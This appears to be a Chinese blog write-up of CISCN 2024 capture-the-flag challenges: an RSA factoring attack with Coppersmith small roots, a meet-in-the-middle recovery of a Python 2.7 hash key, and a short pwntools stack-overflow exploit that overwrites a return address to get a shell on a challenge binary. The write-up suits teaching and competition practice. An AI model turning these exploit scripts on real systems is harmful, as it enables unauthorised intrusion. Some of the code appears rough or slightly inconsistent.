Skip to main content

ciscn2024

·370 words·2 mins
Table of Contents

哥几个又来打比赛了

ovo #

  • 整数恢复
  • copper

有点类似去年暑假做过的一个题

  1. 先用点整数的小手段把k恢复出来

p_ = 2**512
k = 1+(p_*e-p_*65540-p_*2*n-2*n-2*p_**2)//(p_*n+2*p_**2+65540+n+p_)
print(k)

k = 331118458487559161870846961263454730637
A = k+655540
B = 2*(k+1)
C = k+2

然后可以对着e做处理 然后嗯看成T=q+p

从而得到p-q的近似值,从而得到p的近似值

然后用smallroot恢复p

证明放着了

  
  

# p= 7403932043254209285674839388582028410570011828351050375805934071108392006079114417001279625103490774544575483554037469211657746565679248881038893607893723

# q= 8378088871162011671726202827226112127767064365451540976354400140391144537779907433300546527976772390190609001171774571998399866803403951350340930502881123

# n = p*q

# k = 245606161832162476111325269211128594129

# e = 15235146864110030028720795779501151879952387576520458187675723278061219629182694120272416321212406270440175826073260152109840101971188389983358099778512644799760448291523520385254777985313028117193684032061981530303944377519827343129173708424532619638827809176618754366395905119517065190239164619067271877072948971040758068303740732333292817219584

from gmpy2 import *

  

# e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104

n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967

e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104

c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823

k = 331118458487559161870846961263454730637

  

A = 65540+k

B = 2*(k+1)

C = k+2

# pp = B*p

# qq = C*q

# pp 3636902663219653423639112442093522310908296432566376574692842537574314612757748709223924440654116495344283630208714973201525473876667206556415064107492599495216232063334828915343464414883291980

# qq 2057710251134856475836782548443799234248163397809596385657156544650501576022832662969039650827282047310638290105390606284367641469713060391771469131793202290340233993171893997616753344008489113

# T

# print("pp",pp)

# print("qq",qq)

  

nn = B*C*n

T = e-A-C*n

# print(T)

tmp = T**2-4*nn

T2 = iroot(tmp,2)[0]

print("T2",T2)

  

# print("pp+qq",pp+qq)

# print("qq-pp",qq-pp)

  

p_high = (T2 + T)//2

print("p_high",p_high)

# 363690266321965342363911244209352231090829643256637657469284253757431461275774870922392444065411649534428363020871497320152547387666 7206556415064107492599495216232063334828915343464414883291980

# 363690266321965342363911244209352231090829643256637657469284253757431461275774870922392444065411649534428363020871497320152547387666 3585975952970434541977449673223543081616558689125082848138515

p_high = 6566376728803179079590905957707982372680791395717236834585524279686558208876817189312235184374198260824796244718023585430674747925431134896117227458283567221279856270054786605902161535086810434

# n =

R.<x> = PolynomialRing(Zmod(nn))

f = p_high + x

tmp = f.small_roots(2**250,0.5)

# print(tmp)

x = tmp[0]

pp2 = int(x+p_high)

print(nn%pp2)

# 0

qq2 = nn//pp2

print("pp2=",pp2)

print("qq2=",qq2)

  

# pp2= 3636902663219653423639112442093522310908296432566376574692842537574314612757748709223924440654116495344283630208714973201525473876667206556415064107492599495216232063334828915343464414883291980

# qq2= 2057710251134856475836782548443799234248163397809596385657156544650501576022832662969039650827282047310638290105390606284367641469713060391771469131793202290340233993171893997616753344008489113

print(pp2*qq2-nn)

p = pp2//B

q = qq2//C

print("p=",p)

print("q=",q)

print(p*q-n)

  

n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967

e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104

c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823

kk = 331118458487559161870846961263454730637

rr = kk+2

  

e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1

from Crypto.Util.number import *

# 9915449532466780441980882114644132757469503045317741049786571327753160105973102603393585703801838713884852201325856459312958617061522496169870935934745091

#  11287710353955888973017088237331029225772085726230749705174733853385754367993775916873684714795084329569719147149432367637098107466393989095020167706071637

  

p= 9915449532466780441980882114644132757469503045317741049786571327753160105973102603393585703801838713884852201325856459312958617061522496169870935934745091

q= 11287710353955888973017088237331029225772085726230749705174733853385754367993775916873684714795084329569719147149432367637098107466393989095020167706071637

  

# phi=(p-1)*(q-1)

# print(GCD(e,phi))

d = pow(e, -1, (p-1)*(q-1))

d = 40562370691549621318549577950032175038658590691131469091909407935553676331176752570788349128822472320141028057032815128710763002566130430070603179406801031103153868717775020292889882861093052194287247276202665973400686789725153480640714911756153417332445558986048503928766869105149777013026905407852425839049

m = pow(c, d, n)

print(m)

m = 56006392793427936249326135903797910465566351628973798796757006478713999781467542218211934319748211581

print(long_to_bytes(m))

# bytes_to_long()

# long_to_bytes()

hash #

把python2.7源码搞下来,由于hash和print一样是具有多态的,所以找找print对字符串的多态是写在那里的

然后就找到hash对string的多态了

key = os.urandom(7)key有7位,很明显不能爆破

利用大步小步法,将7bytes分成3+4,先计算3bytes产生的中间值,在计算4bytes产生的中间值


from Crypto.Util.number import *

import hashlib,binascii

nmod=2**64

dict={}
input(123123)
for x1 in range(256):
    for x2 in range(256):
        for x3 in range(256):
            ans =0
            ans=(ans^(x1<<7)) % nmod
            ans = ((ans * 1000003) ^ (x1)) % nmod
            ans=((ans*1000003)^x2)%nmod
            ans=((ans*1000003)^x3)%nmod
            dict[ans]=bytes([x1,x2,])
            # if x1==123:
            #     print(ans,[x1,x2,x3])
            #     input('=========')
            



# 123123
# 9069124551578897747 [123, 0, 0]
inv_=inverse(1000003,2**64)

for x4 in range(256):
    for x5 in range(256):
        for x6 in range(256):
            for x7 in range(256):
                ans =7457312583301101235
                ans=((ans ^x4)*inv_)%nmod
                ans=((ans^x5)*inv_)%nmod
                ans = ((ans ^ x6) * inv_) % nmod
                ans = ((ans ^ x7) * inv_) % nmod
                if ans in dict.keys():
                    print(dict[ans]+bytes([x7,x6,x5,x4]))
                    input()

gostack #

基础栈溢出

from pwn import*

p = process("./gostack")
payload = b'\x00'*0x1d0 + p64(0x4A0AF6)
#  /bin/s
p.send(payload)
p.interactive()